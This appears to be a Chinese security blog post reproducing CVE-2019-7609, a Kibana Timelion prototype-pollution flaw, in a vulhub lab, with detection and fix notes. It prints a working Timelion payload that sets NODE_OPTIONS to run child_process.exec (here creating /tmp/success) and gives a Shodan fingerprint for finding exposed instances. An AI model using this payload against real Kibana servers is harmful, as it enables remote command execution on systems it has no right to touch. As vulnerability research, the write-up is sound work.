CVE-2019-7609 Elasticsearch Kibana 命令注入漏洞

CVE-2019-7609 Elasticsearch Kibana 命令注入漏洞

漏洞简述

5.6.15和6.6.1之前的Kibana版本在Timelion可视化工具中包含任意代码执行缺陷。有权访问Timelion应用程序的攻击者可以发送将尝试执行javascript代码的请求。这可能导致攻击者在主机系统上以Kibana进程的权限执行任意命令。

漏洞影响版本

  • Kibana < 6.6.1
  • Kibana < 5.6.15

Shodan 搜索语法

http.favicon.hash:-267431135

漏洞环境搭建

使用vulhub。

启动环境前,需要先在Docker主机上执行如下命令,修改vm.max_map_count配置为262144:

否则查看docker logs 会出现报错:max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144]

sysctl -w vm.max_map_count=262144

环境启动后,访问http://your-ip:5601即可看到Kibana页面。

漏洞复现

原型链污染发生在“Timeline”页面,Payload如下。

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

成功后,再访问“Canvas”页面触发命令/bin/touch /tmp/success,可见/tmp/success已成功创建。

命令执行成功。

溯源排查

日志排查关键词:/api/timelion/run

这里采用docker搭建可以直接用docker logs 进行排查,记录了请求ip。

在容器内部未发现记录web请求日志。

修复方式

升级至安全版本。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论